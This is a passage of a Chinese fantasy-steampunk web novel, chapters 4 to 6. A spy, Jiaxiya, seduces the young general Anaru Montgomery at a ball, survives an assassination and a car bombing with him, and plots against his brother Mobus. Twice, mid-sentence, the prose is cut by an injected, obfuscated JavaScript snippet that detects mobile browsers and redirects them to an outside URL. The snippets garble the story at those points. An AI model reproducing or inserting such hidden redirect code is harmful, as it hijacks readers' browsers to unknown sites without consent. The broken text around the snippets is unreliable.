这是一座六层楼舞厅,上方被巨大的扇形玻璃穹顶覆盖,交错的金属骨架绘满镂空浮雕,隐约流动着金色的防护魔法符文。数千盏饰有银箔的水晶吊灯将光线折射在彩色琉璃窗上,映得整片空间波光粼粼,如梦似幻。 大厅地面铺满掺着金丝线的花格地毯,中央是成双成对起舞的人群,角落里坐着身着燕尾服的交响曲乐团,走廊边摆好了台球赌桌等供娱乐休息的器具。 两侧花坛回廊上,佣人们端着盛有香槟和水果酒的银托盘,一些机械傀儡推着装满食物的多层推车来回穿梭,空气中弥漫着香料和美酒交织的温暖气息。 加茜娅微微地发起汗来,将羊毛斗篷摘下拿在手里。 一旁立刻有眼尖的男仆走上前躬身接过、抖动整理好,再拿带有标签的发热衣架挂上,存放到专门的衣帽间。 米拉牵着加茜娅,在同熟悉的人闲聊片刻后,便开始心不在焉起来,频频望向香槟塔处聚集的一群人。 突然,大厅正门口传来不小的骚动。人流被打乱散开,当中出现一顶带联邦星徽和金帽带的硬檐军官帽。议论声渐渐低微下去,但数量未减。 进来的是个身量高大、肩背板正的军官,正同擦身而过的人点头问候,偶尔握手,三秒即放。步履虽然迅速,但很有条理地做完了一套入场礼仪。 那顶军官帽转过来,向这边的人也略一颔首。几名特许记者按下闪光灯。 加茜娅看清了,那是个黑发蓝眼的青年人,阔面高鼻,颧骨微凸,脸庞没有多少肉,颊上显出两块阴影,和眼眶凹陷落下的影子将将错开。 这名穿着墨绿色长风衣的军官神色冷峻,双手插兜,各色珐琅勋章从胸口一直排到腰际,灯光之下熠熠闪烁。 阿纳鲁·蒙格马利。她今早才在报纸上看到过的,被多家媒体称为联邦军最年轻有为的少将。 4. Chapter 4. 暧昧 门口男侍及时追上,恭敬地接过外衣和手套,将阿纳鲁引至香槟塔——一座流动的酒水瀑布,贵族世家来的客人大都聚集在这附近,手里夹着高脚杯,三三两两地围着。 他们小声说着话,同时拿眼睛斜瞄新来的军官。 就在米拉频频望去的地方,人们往两边让开身,空出一条走廊似的长过道。最里面站着名二十来岁的唇红齿白的摩登青年,穿深蓝常礼服,外套半敞着,袖口松松挽起,金棕色头发用发蜡梳出偏分造型。 他俯身贴住台球桌,手持一柄长杆,专心致志地瞄球。片刻后,屏气蓄力、排山倒海地一击,白球撞着其它五颜六色的球到处乱滚。然而所有人目光炯炯的盼望之下,桌上也还是这么些球。 “嚯!真扫兴。”莫伯斯抱怨般低声嘟囔。收杆起身,他像是突然受了惊吓,仿佛刚望见那位站了半天的联邦少将。 莫伯斯慢慢扯起嘴角,抬手逗狗似的一招。 人群里钻出个端托盘的侍从,先小跑过来给莫伯斯递酒,再折返回去递一杯给阿纳鲁。 “你们光看我做什么?这位英雄刚拿了军功回来,没人欢迎一下?”莫伯斯举杯责问。 宾客纷纷迎着他举起酒杯。间或夹杂了几个不协调的身影,扭头望向阿纳鲁。莫伯斯目光扫去,很快又转回到阿纳鲁脸上。 阿纳鲁什么话也没回应,笑容满面,脖子一仰举杯饮尽,将杯子“嗒”地放在托盘上,回头对记者们摆一下手,抬腿边走。其余看客伸头张望着,待莫伯斯慢条斯理地啜完酒后,终于醒悟过来似的跟着饮下。 方才几人放下酒杯,低下头悄无声息隐没在人群中。 随着不速之客自觉的消失,场面又恢复了热闹和快活的气氛。 “你看到了吗?他们都喜欢莫伯斯哩!听说他接替了他哥哥的议员席位!”米拉心醉神迷地捂着胸口。 加茜娅笑着点头。看来那位遇刺的长子即将救不回来了。 “要不要去跳舞?我看到我几个姐姐也在那儿!” “人太多了,我有些晕,在这休息会儿吧。你先去玩,我晚点来找你。”加茜娅靠着扶手椅,半闭了眼,佯作疲惫姿态。 此刻,交响乐队琴声响起,预示新一轮舞曲即将开始。 米拉陪加茜娅坐了几分钟,实在按捺不住,便同她打过招呼,将针织披肩取下交给侍者,露出丰润细腻的脖颈和两筒白颤的胳膊,提起裙摆就翩翩地奔莫伯斯去了。 加茜娅倚在桌上,将头偏向大厅中央的方向,静静地打量人群。 她不知道自己是否会被参加过幕后交易的人发现,但即便发现也无所谓,没有人会忌惮她的存在。 加茜娅淡漠地想着,目光转向方才最热闹的香槟塔处。 几名穿黑衣戴兜帽的精灵和矮人刚刚到席,只围在一起和莫伯斯交谈了片刻,就先行离开,似乎对人类舞会没什么兴趣。毕竟东道主没有邀请少数族裔,也没有设置隔离魔法阵,不是他们发挥天赋、尽情游乐的主场。 但宴会厅里依然摆放了不少魔纹等级较低的魔法物品,例如门口同资源署如出一辙的安检装置,再例如眼前长桌上布置的新型照明器材—— 一次性灯偶,一种放在低等魔法石上即可激活使用的灯具,蛋形灯壳内部圈养着飞蛾等昆虫,甚至还有小型魔物,在激活前保持沉睡,激活后燃烧生命力进行发光。 发明者声称这是节约资源的好方法。一些人不忍心看见生命逝去,于是在壳上蒙上一层无影纱布,只透光而不见影。许多被制成灯偶的飞蛾,穷尽一生发光发热,扑打着灯壳而无望逃离。 加茜娅据此推断:主持舞会的人在元老院中多半属于革新党。这派人既不算保守又谈不上激进,倡议将魔法同传统科技结合起来,双轨合一地发展。 她凝视着面前一排蒙了布的柔光灯偶,脑子里继续琢磨宴会中的各派人物。不知怎的,思绪又回到方才备受关注的阿纳鲁·蒙格马利。 那位蒙格马利家出身的少将经历过好几场平叛战役,军功显赫,名气不小。但他作为家族安插在地方军队的眼线,此前是一直远离权力中心的。 显然,莫伯斯已经先他一步,赢得了家族内外大部分人的站队。 面临权力迭代的清洗,阿纳鲁无论如何也得硬着头皮争一把,替自己和身边的人谋取些许生存的筹码。可他看上去能力有余,敏锐不足,此时应属于后知后觉,缺人脉,缺信息源,什么都缺,说不定还缺钱。 但他仍是一把未开刃的好刀。他有一点地方军队的权力,不多,短期内不足以从那些人手里查清她的身份,却刚好足够她拿来利用,毕竟他的位置四通八达,和哪方派系都可以扯上关系。况且,旁观他面对弟弟的反应,估摸是个沉得住气的,不至于犯蠢坏事。 加茜娅知道,最好的“攀附”,往往是在一个人羽翼未丰的时候进行。凭她的能力和眼下时局,锦上添花挤不进去,雪中送炭却正合适。 她端起一杯香槟,坐在餐桌旁慢悠悠地啜饮着,通过餐盘上的银罩子来观察舞池里的人群。 开场曲配的是轻缓的小步舞,而后切换成流畅的华尔兹,规则也由邀舞转变为随机匹配。 加茜娅在脑海中模仿了几遍,不确定自己能不能跳好。 此时,她一直留意着的军官在人群中现身,移动到舞池中离她较近的位置。 如果控制得当,在有计划地更换两三个舞伴后,就可以接触到他。 机不可失。 即使跳得不好,也有益处。许多老套的故事就是这么发生的。 加茜娅即刻放下手中的香槟,向一旁侍者点头。侍者趁舞曲之中的休息间隙领着她转身进入舞池,介绍给一名刚与舞伴分开的男士。 她的余光始终留意阿纳鲁的位置,密切观测他在舞池中的流动轨迹。 在踩过两名倒霉先生的脚以后,其它乐器停下来,只剩小提琴拉出中场交替的悠扬旋律。加茜娅对于舞步结束的姿态仍不大熟练,转着圈与前一名舞伴分开,接着“不慎”将自己绊了一跤,顺理成章地滑向阿纳鲁。 而那名机警的军官很显然,提前看到了她—— 视线交错。 转瞬错愕后,他下意识地张开双手,接住了摔入怀中的加茜娅。 她的裙裾旋过他的裤腿,肩膀擦过他的胸口,胳膊一挨到他臂侧,就慌里慌张地松开。她迅速错开身站着,低下头没看他,听到自己胸膛里砰砰直响。 两人一时间没说上话。这时乐声再起,昂扬的短号告示了新组的开始。 加茜娅抬头看向他,像是终于鼓足了勇气。 “对不起!”她盈盈地闪着目光,让自己露在外面的大片肩颈因微喘而起伏。 阿纳鲁的视线迅速划过,看向她的裙摆:“没受伤吧?” “多亏您及时扶住了我,一点事儿也没有。” “是吗。”阿纳鲁看起来有些笑意,只是淡淡的,被那聚着阴影的眉眼罩着。 “可否请小姐跳下一支舞?”他稍微欠身,做出邀舞的姿势。 加茜娅红着脸,仿佛不敢说话也不敢点头,动作上仍伸出了手,轻轻地攀住他肩膀。 她自认为已经算高挑身材,然而面前的军官比她还高出一个半头,宽肩长臂,胸膛挺阔,挡住她全部的视线。 她落在他的影子里,如同一尾鱼落在鹰鹫眼底。 阿纳鲁不算一个典雅的舞伴。比起跳舞,他更像是跟着节奏操练,起仰进退,准确无误。他们介绍了自己的身份,有一搭没一搭地聊着,前后走动着,加茜娅偶尔会慢一拍,两个人的小腿便不经意贴合擦过。 “第一次在这样的场合见到您。您之前不怎么来吧?” “我有外派的职务,很少待在中州。” 他低下头,看见加茜娅光洁的额头上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800419|158378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碎发贴住鬓角,覆了层薄汗,在舞池灯光中细碎闪烁。她的睫毛很密很长,眼里浮着盈盈点点的亮光,正看向他。 “怪不得。”她忽而害羞似的移开眼。 阿纳鲁反问她:“你经常来吗?” 加茜娅摇摇头:“我家里管得严。再说,平时工作也忙。” 阿纳鲁笑了笑,没接话。 加茜娅顺着他的目光,看到不远处正在被几位贵族小姐缠着跳舞的莫伯斯。 她抬一抬下巴:“喏,就是刚才那帮人提到的,西高地那个项目。我这两天正经手其中几个勘探点测算。数据量特别大,总是加班。” “西高地山脉?”阿纳鲁收回目光,盯着她的眼睛,“那是很重要的机密项目。看来你在资源署职级不低。” “怎么,小瞧人家?”她抿了下嘴,像有些懊悔,“一不留神就告诉你了。” 阿纳鲁扶着她的腰,在一圈圈双人舞姿的配合下沉默着。过了会儿,他似乎察觉到无言的尴尬,突然开口:“这场结束,要不要去休息会儿,喝点什么?” “荣幸之至。”她放下心来,矜持地颔首。 中场换曲的时候,两人默契地从舞池侧面走出去。路上有些人在摇着筹码玩赌水晶,或是起哄让输了牌的侍女脱衣服。大笑声不止。 阿纳鲁加快了步伐。他侧过身走在加茜娅旁边,同时挡住双方的目光。 加茜娅顺从地跟着他。忽然,周围传来一阵熟悉的甜香。如蜜糖,如刀割。皮肤上似有滚烫发痒的错觉,舌底生津,心跳也加快。 许多带有这种香气的场景涌入脑海。照片里她皮肤上的蜡烛烫痕,还有那种莫名熟悉的永夜兰香基调…… 她浑身僵硬,不觉停下脚步,猛地回头。 香气源头是一只燃烧的三叉烛台,被摆在餐车上,旁边零零散散聚着些人。餐车上除食物以外,还放着几盒散发同样香气的玛瑙石手串,供蒙着面纱、戴着面具的客人们试戴把玩。 有人似乎特意将这些物品放在某些宾客容易接触到的位置,是暗示一种“认同”吗?还是在敲打谁?试探谁? 加茜娅有些晃神,几乎要靠上阿纳鲁的肩膀。 他扶住她的手臂。 “用来收买人心的东西。少闻点,别靠近他们。”阿纳鲁声音极低,不欲多言,示意她赶快走。 加茜娅压抑住内心的焦躁,没有在这个时候问出来。 她跟他来到香槟瀑布旁,斜倚着栏杆扶手,一杯接一杯地喝,喝得满面酡红,零碎地聊些日常事务。 周围的灯和人影都穿插在一起,像急抹的油画颜料,堆堆叠叠。只能看清眼前——头顶冒着蒸汽的机械傀儡推来了装甜点和水果的小车。 她高估了自己内心的防线。她有些醉了,但动作温柔,在他面前低低地垂下眉眼,用拇指和中指捏住一颗葡萄摘下来,含在嘴里,又掩着嘴拿小银碟接在唇边,无声无息地吐掉皮和籽。如此往复。 葡萄果肉芬芳多汁,咽下去,饱满的沙砾滚过欲呕的食道,酸味蔓延麻醉大脑,只有这样才能体会到痛苦以外的感觉。 她感到很饱,饱得有点撑,还感到胸膛发闷喘不上气。吃葡萄的机械性动作能抑制住眼泪,却无法缓解那颗心的蜷缩抽搐。 他端着酒杯,看着她,也不再说话,问侍从要了一支雪茄慢慢地抽。 那天晚上,加茜娅拒绝了阿纳鲁送她回家的邀请,依旧是坐着米拉的车,到靠近北岸大桥的富人区下车,自己一个人在凌晨的夜晚往家走。 约莫凌晨四点,她看到街边小贩已经推着车准备出摊,在摆各季的改良水果。鬼使神差的,她挑了一点葡萄买回去。 味道并不怎么好。她掉下眼泪。 三天后,米拉给她捎来一封信。 “寄到我们办公室了,但写的是你的名字。”她笑嘻嘻地,抱着双臂靠在门上,眼神仿佛要看好戏。 5. Chapter 5. 入局 中州,圣玛丽安娜高等医院。 顶楼病房设有周密的魔法结界,能够最大程度保证室内的温度、湿度和元素浓度,屏蔽治疗术引起的魔纹波动,尽可能延续病人的生命力。 可这依然挽救不了蒙格马利家族——最重要的两个人的日益衰弱,即使是白精灵中的专家团队也束手无策。因为他们所受的乃是大脑深处的不治之症。 阿纳鲁站在长兄维多尔·蒙格马利和父亲奥古斯特·蒙格马利的独立病房之间,心里想的是方才探病时所得的信息。 维多尔已经成了个植物人,遇刺时头部所中的两枪完全损坏了他的精神活动,此刻只能靠生命大治疗术勉力维系呼吸。他高大的身子盖在病床上,面庞灰白,双眼紧闭不动。金色魔法符阵悬在他头顶,缓缓流淌。 “我们担保他可以再活八十年,以失去灵魂的样子。”主治医师双手一摊。 “要是维多尔醒不来,我可怜的埃德蒙怎么办?他还是个孩子!”长嫂赛琳娜将七岁的儿子揽到怀里,长声叹息。 埃德蒙正在把玩一只瘸腿蛐蛐。他掰着那两条长触须举到母亲面前:“妈妈!它怎么不动了?” 赛琳娜尖叫一声,后退跌坐在圈椅中。很快,她尴尬地看向阿纳鲁,捏着手绢抹过眼角:“埃德蒙一定是受打击了!要是他父亲在该多好!” “只要蒙格马利家族还在,你们就不会受委屈。况且,大哥还活着,以医疗技术发展的速度来看,将来也有治愈的希望。” 阿纳鲁靠在椅背上,一手抬起来掌心向下压,做出安抚的姿态,另一手搭住椅子扶手,指尖敲弹。 不知莫伯斯给这女人下了什么迷魂汤,让她守口如瓶。他冷静地想着,视线停留在赛琳娜腕间的新款魔法石手链上。 那似乎是乔斯娜姐妹时尚公司的新品,前两天刚发售,他见好几个赶时髦的贵妇小姐戴过。 颜色倒挺鲜艳。随光线变动,又是蓝又是粉,很适合加茜娅。自上次舞会留意后,几次见面下来,他发现她两三样首饰换着戴,果然并非阔绰出身。 阿纳鲁不自觉地笑了下,很快按住嘴角,与赛琳娜一样满脸沉重。 “会有办法的。”他站起身,拿起椅背上的大衣,“我还有事,告辞。” 赛琳娜拿手绢捂着脸,渐渐止住哭声:“慢走!” 外头一墙之隔,维多尔房间旁就是他们父亲的病房。 老蒙格马利年轻时是个狠角色,不仅黑下两个对手家族的产业、顺利洗白,还活生生吞并了自己的亲家。他花花肠子太多,最大的爱好是随处留情,长子维多尔乃原配所出,阿纳鲁和另三个私生子女夹在中间,还有个上蹿下跳的幺子莫伯斯,仗着第二位夫人娘家煊赫,打定主意要弘扬每一代家主清洗旁支的优良传统,彻底巩固继承权。 虽然继任的方式在明面上来自于前任家主的公开表态,但实际上,手头的资源掌控、权力地位与盟友的承认才是决定性因素。 而老家主奥古斯特·蒙格马利,无论曾经有过多么辉煌的历史战绩,此时只是一个逐渐痴呆、时不时砸墙大叫的可怜老头,被莫伯斯关在病房里。 每天喝下慢性毒药。 阿纳鲁早就发现了这件事,但没作声,只背地里收集证据。 多么荒唐的一家人!他坐在汽车上嗤笑着想。 一个小时后,司机将车停在中州北部的索图温路商业区,一家新开业的大剧场门口。阿纳鲁靠在后排座椅上,身旁交错摆放着四五个装满礼盒的购物袋。 这已经是他和加茜娅的第三次“约会”,车和司机都做了更换,每次都不让詹姆斯跟着,美其名曰是给他休假。 有一次,詹姆斯偷偷地从甜品店玻璃窗外路过,发现长官的约会对象正是上次碰瓷的那个女人—— 她可真会惺惺作态!要不是阿纳鲁眼疾手快地扶住杯子,她差点就要柔弱到举不动一盏红茶,从而正好打湿他俩的衣服呢! 詹姆斯压下帽檐,若无其事地走开。 他决定真的放几天假,坐蒸汽飞艇到离中州不远但气候舒适的南海岸,到遍地都是泳装美女的白沙滩去。 加茜娅和阿纳鲁在劳芬奇剧场会了面。阿纳鲁穿着单排扣的深灰色正装,里边搭配格纹马甲,戴一顶呢绒软帽,像个没什么架子的中层绅士。 “没想到有这么多人。”加茜娅惊叹一声。 “票不好抢,托关系才买得到。我那几个同僚都带太太孩子来看过,说是很有意思。” “你还需要托关系才能买票吗?” “有时候,托关系也是联络感情。”他低下头对加西娅说。 堪州的战事刚消停下来,阿纳鲁以处理家族事务为由获批一个月休息,这段时间往返于医院和家族庄园之间,偶尔去中央军部的办公室会客、处理电报,或者出来陪加茜娅喝茶、看剧。 他们并未确定关系,但周围人都认为有这种趋向。米拉每天问加茜娅好几遍进展,同时又劝她注意名声,不要那么快就放下架子。 劳芬奇剧场以新魔法剧为最大卖点。考虑到魔法元素会损坏蒸汽机械,仅采用老式楼梯建筑设计,并添加小型魔法物件来辅助照明和气氛。 剧场内厅呈传统的半椭圆包围状,昏暗少光,长翅膀的小妖精身上背着灯偶,飞来飞去地检票和引导。轻缓的交响乐曲和香水气息流动在空气中。 加茜娅与阿纳鲁并肩坐在前排贵宾席上。 她调整了坐姿,裙角无意中擦过他的皮鞋。 那一拂如羽毛飘落,其实是轻盈无感,可偏偏落在这位年轻少将的眼角余光里,便想起她总刻意制造的贴近,仿佛手指和喉咙也有微妙触感。 一种无形的框架贴住了四肢,他不由地也跟着调整坐姿,翻看节目传单,对折又打开,再合上,希望自己能显得自然点,和平时在军队里一样。 这天表演的剧目是《乡下来的魔法初等生》,讲述一名出身低贱的学生如何通过种种诡计混入贵族魔法学院,却在药理课上因基础知识疏漏而炸毁烧瓶、暴露身份的搞笑故事。 灯光映照下,红鼻子丑角的皮肤油润发亮,戴着破毡帽、身披打补丁的软马甲,脸庞阴影显出脏橘色,身材肥硕如气球,踢踢踏踏地围场跳舞,同烟盒上的乡村农汉风情画一般无二。 观众席爆发大笑。 这个样子怎么能混进贵族中间呢?加茜娅双手交叠着,翘起一边嘴角。 尽管她因为测不出魔法天赋而只能考去理工学院,但她明白,魔法学院会比其他地方更苛求身份与阶级。 整台剧,她丝毫没有注意阿纳鲁的动作,只坐在那无滋无味,却和观众们同喜同悲地应和过去。 散场的时候,阿纳鲁带她来到停车场。 司机打开车后门,露出堆叠着的购物袋和礼物盒。 “明天是长夜祭,很多商店不营业,所以我提前买了礼物。”阿纳鲁说着,将一只手搭在车门框上,“不知道你喜欢什么,就随便挑了一点。” 长夜祭,起源于精灵的传统节日,歌颂光明将在最长的黑夜后回归。这几天到处都是装饰着光元素果实的生命树,能见到各族裔围树唱诵、祷告。 加茜娅双手插在呢大衣口袋里,垂眼看着那些礼物:“谢谢。” “现在看吗?还是先送你回去?” ——加茜娅在拿到那张巨额支票后,火速搬家到之前等车的富人区附近。因此她不再忌惮被知晓大概住处。 “先上车吧……”她刚一开口,忽然被阿纳鲁打断。 “把手拿出来!” 他冲着不远处的路灯方向喊道。灯下面站了个戴着帽子和面罩、穿黑色长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800420|158378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风衣的人。那人正将一只手伸进大衣内。 他们几乎同时拔枪射击! 加茜娅还没反应过来,就被按着头趴到地上。 “砰!” 汽车玻璃碎了一地,警报声嘟嘟响起,路人尖叫着四散逃窜。 她后知后觉地出了身冷汗,大着胆子抬头望去。 一击未中,那人竟消失了。这种速度,只可能是空间位移术。而燃烧煤气的路灯没有熄灭,说明魔纹波动不超过三级,并未影响各类能源运转。 加茜娅的大脑飞速运转起来:不超过三级魔纹波动的位移术?还在附近吗?是天赋异禀的暗精灵刺客?还是用了什么新研发的尖端魔法物品? 有人出卖了他们的行踪。她紧接着想……没出人命的小型魔法事故,魔法监管局懒得搭理,昏庸的警察更是会和稀泥。 一颗子弹咕噜噜地滚到面前。上边没有编号,显然是非法军火。 静默一秒。 “跑!”阿纳鲁突然一把捞起加茜娅,将她像枪杆一样夹在胳膊下,迈开腿狂奔着扑向停车场门口的灌木丛。 背后响起轰雷般惊天动地的爆炸声,震得她一时失聪。烈焰滚滚升起,而眼前只剩黑滚滚的呛鼻浓烟。 身上沉重了许久,是阿纳鲁掩护住她。 从事故现场转移到医院后,加茜娅接受了医生的检查。万幸,除一些磕碰青肿外,并无其它伤口。 加茜娅坐在病床上,两名白精灵医生围着她,一边轻声安抚着,一边对着她的胳膊和腿施放小型治疗术。在中州,这样的治疗魔法只有在受到许可的高等医院才能实施,并且往往耗资巨大,几乎是上流阶级才能享有的特权。 “去把詹姆斯叫回来。明天上午,我要在办公室见他。” 阿纳鲁站在门外吩咐司机。接着又来了几个穿军装的人,低头负手地立在旁边,听他时不时发火训上一句。 见加茜娅出来,他把烟头扔在地上用脚撵灭,脸上毫无表情:“结束了?还有哪里不舒服吗?” 加茜娅摇摇头:“你呢?没事吧?” 其余人对望一眼,安静退下。 阿纳鲁笑出声:“这种把戏,对我都是小儿科了。你没见过安全区外的阵仗……”但他显然还在余怒之下,两手叉腰,面沉如水。 “我陷进家族的麻烦里了,加茜娅。”他说,“你待在我身边,也会有麻烦。” “可是,在你身边,我不害怕。我能帮上点什么忙吗?就当感谢你买礼物。” 虽然那些礼物已在爆炸中灰飞烟灭,但她却迅速地窥见了机会的曙光。 “阿纳鲁……我明白你的难处。我是自愿想为你做事。”她向前两步,诚恳地仰视他,如同每一个渴望浪漫的年轻女孩:寥寥数次约会、一场世所不容的危机,便能令她在没有承诺的感情里死心塌地。 阿纳鲁的视线转开一瞬。他再次撵了脚地上的烟头,很快又将目光转回来,盯着她看,像是要看进她的眼底。 加茜娅不由的蹙了眉,模样仿佛有些委屈:“这么久了,我以为,你知道我的心意。” “嗯,我知道。”他抬起头,望着走廊尽端。 “那……明天上午,我也去你办公室谈谈吧?” 阿纳鲁犹豫片刻,压低了声音:“明天上午,我不在那。” 什么? 加茜娅愣住。但她很快就反应过来:阿纳鲁在用最快速的排除法,给身边人传递假消息,试探内奸。 他在赌,赌那个人的傲慢,不在意打草惊蛇,只恐惧夜长梦多。 明天上午进入他办公室附近区域的所有人,都会被扣押下来搜身检查。如有异常,那么叛徒就在今天的司机和那个詹姆斯之间。 看来阿纳鲁的时间也不多了。她忧伤地望着他,心里愉快地想着。 6. Chapter 6. 上钩 第二天是公共假日,加茜娅不用赶早出门。 她在柔软的碎花被子里醒来,冬日阳光透过落地蕾丝窗帘,白亮而清爽地照进房间。这里是位于中州北部的中产社区,一对人类老夫妻出租的联排别墅阁楼,有朝外的楼梯独立出入。 三万晶币花完之前,或者被捕落网之前,她可以一直在此落脚。 在下楼吃过早饭并与房东露易丝太太在壁炉旁聊完天以后,她从门口信箱里取走了自己的报纸和信件,回房查看。 或许是因为她终于寄去了工资和资源署的情报,这一次信的内容十分温和,除了告诉她新的接线人联系方式以外,就是叫她如往常一样汇报工作内容。 他们似乎以为她是阿纳鲁·蒙格马利新包养的情人,因此对于她来路不明的大额资金闭口不提,只拿很满意的口吻交代她保持现状,等待将来哪天用得上这条关系。 加茜娅写完回信,顺便又抽了张空白信纸,翻着近几期八卦杂志上刊登的情诗,东拼西凑,给阿纳鲁编一封情书,言辞切切、指天为誓地表达爱意。 很快,也就是傍晚时分,这封夹着玫瑰的情书便由她亲自交到了阿纳鲁手上,连同她亲手准备的长夜祭礼物——用来挂衣柜的手工香薰袋。 它们被新来的司机放到了副驾驶座椅上。 “我们去哪儿?”加茜娅坐进车里,伸手挽住他的胳膊,欢快地提问。 对于这种亲热态度,阿纳鲁没什么反应,也并不拒绝,任由她贴近自己。 “中央公园大街,有长夜祭的庆典巡游。”他说。 “巡游……”加茜娅想到一大群人狂欢的场面,“会不会太乱太危险了?” 阿纳鲁瞥一眼她的手,又将视线投向窗外:“我带你到安全的地方看。” 他把加茜娅带去了临街的一家保险公司大楼上。阿纳鲁手头有些股份,所以他们给他安排了一个宽敞明亮的高层办公室,配有阳台和躺椅。 “我之前很少来这儿。不过最近不一样,在事情解决前,我得换着地方待。” “你是说,刺客还没解决吗?”加茜娅扫视一眼办公室,发现角落的沙发旁有衣帽架,上面有几件衣服。显然他打算在这里常驻。 这是一个暖色调的房间,地板铺满红绒毯,中央摆放着深色实木的办公桌椅,两侧镂空壁灯透出橙色微光。高级壁炉里的魔法阵感觉到有人靠近,“刺啦”一下自动燃起火焰,散发出松脂甜香。暖意侵袭,热得她也顺便脱下外套。 “只查出了昨天那个司机。” 阿纳鲁揭开落地帘,眼前是一个步入式的玻璃顶露天阳台,有两张放了坐垫和靠枕的圈椅,冒着热气的茶点已提前准备好,琳琅满目摆满桌案。 他接着补充:“位移术的魔纹波动控制如此精准,只能是暗精灵,并且是最顶尖的几位刺客之一。看来莫伯斯和影子同盟联手了。那种添加了魔导科技的子弹,估计也是他们非法交易的物资。” “暗精灵?”加茜娅走到他身旁,若有所思。 “怎么,有什么线索吗?” 既已确定合作,他默认他们将共享情报。 两人在椅子上坐下,阿纳鲁倾过身给她开了瓶樱桃酒。 加茜娅做出努力回忆的样子,吞吞吐吐地说:“我前两天在资源署升降梯的滚动布告栏里,恰好看到一则内部消息……说是数据泄露,导致西高地矿脉未开发的资源被提前偷采,目前正加派人手去查。勘探现场留下了黑暗魔法元素,要么是新大陆未知势力,自由者联盟、亡灵法师之类的,要么就是暗精灵干的。” “但暗精灵在元老院没有议席,政府职务也不对他们开放。他们一直遭到精灵议会主流排挤。既然如此,这些上不得台面的老鼠,是从哪里获取的一手消息,居然比资源署和各大家族的速度还快?别告诉我是私人公司,有开采许可的就那么几家,他们的勘探研究水平远不及联邦中央。”阿纳鲁皱起眉。 “说不定呢?只要有钱,他们也可以挖走最资深的勘探队。” 阿纳鲁交错双手支着下巴,似乎想起些什么:“莫伯斯名下确实还有一家采矿公司,但不算家族企业。这样看来,他也许和影子同盟有深度来往。” 他慢条斯理地推测:“莫伯斯购买他们的魔导军火,并帮他们在元老院活动关系,他们参与莫伯斯策划的资源掠夺,分一杯羹,还协助他清除异己。这就说得通了……其中一些猜想,我再找人去打听确定。” 加茜娅抿了口酒,心脏加速跳动起来。 莫伯斯·蒙格马利。她头一回认认真真地念这个名字,如同念一支钻心蚀骨的魔咒。 所有线索都串联起来,露出了冰山一角。济贫院背后,唆使她窃取西高地山脉矿藏数据、派暗精灵提前偷采的,必然有莫伯斯一派的势力。蒙格马利家族果然有人参与那些游戏交易,只是不知道阿纳鲁还了解多少。 “害怕吗?”一只戴着黑色皮手套的手搭在她肩膀上,很轻地捏了捏。军官的蓝眼睛看向她,如深不见底的海水,波涛汹涌都藏在暗处。 “现在离开还来得及。”他微微一笑。 加茜娅摇摇头,也慢慢地浮出笑容。 “你知道吗?在舞会那天,第一次见你的时候,我就知道我离不开了。”她回忆着杂志上的情诗,直直凝望着他,眼里像蒙上一层透亮的水壳。 阿纳鲁却不笑了,端着酒杯举在唇前,若无其事地转移目光:“……庆典快开始了。” “砰!砰砰砰!” 仿佛是回应他的发言,礼炮声接连响起。 “砰——” 加茜娅眼前一黑,随后晕头转向地发现,自己又被阿纳鲁推倒在地上。 “抱歉。”发觉那并非枪响后,阿纳鲁立刻爬起来,把她扶回椅子。 他有些尴尬地转身坐下,往衣服口袋一摸,发现烟盒刚刚跟礼物袋一起放在了办公桌上。但他也不想回去拿,干脆饮尽杯里的酒,然后搭着两边扶手,将一条腿叠放在另一条上,专心致志地看庆典巡游。 两人不再交谈,好像目光被楼下的表演给粘住了。 夜色之下,人群从四面八方的夹弄、小巷涌向主街,密密麻麻,攒动不休。临街店铺的露台上也挤满围观群众。 包头巾的农妇们聚集起来,趴在小摊推车背后张望,戴祷福帽的孩子们骑在父亲背上,手里抓着提式灯偶,象征驱逐黑暗。 系着五颜六色披风的精灵们身量颀长而矫健,有的坐在栏杆上将腿放到外面,彼此招呼谈笑。矮人和兽人三三两两地倚靠在酒馆阁楼上,探出头向下望。 加茜娅还看到一些平日罕见的少数族裔。两个身高直达五层楼的巨魔安静地伫立在街道角落,他们有钱的侏儒主人将树笼吧台挂在他们头顶和肩膀处,如同移动的空中阁楼。几名长着蜥蜴皮翅膀的翼族,浑身皮肤呈漆金色的铜人,夹在人流里一闪而过。 今年的长夜祭照旧由精灵议会主持。为了给魔法表演做准备,街道周围的所有蒸汽机和煤气引擎都在十小时前就停止工作,以规避魔纹波动事故。 领头的是一群身披黑色羽毛斗篷、戴银蝴蝶面具的白精灵祭司,手持刻满符文的长杖,敲着地面低声吟唱着。浅绿皮肤的木精灵乐队紧随其后,用风铃、手鼓、叶笛和藤弦竖琴演奏光明神的赞美诗。 由魔法水晶石驱动的鲜花马车驶向半空,两侧腾空飞过的精灵法师们挥动衣袖,拥有瞬息生命的发光草种子落地即生。一队又一队系着铃铛的舞者跳跃着,头顶上方浮现光影幻术,演绎精灵族史诗故事。萤火妖精飞向孩童,与他们贴脸祝福。 整场巡游长达两个半钟头。人群欢呼着,挥舞着手中的光明神旗帜,伸手去接那些精灵舞者抛下的星星纸屑;祝福钟声响起,所有种族的观众们低声和着祭司的吟唱,双手合十。 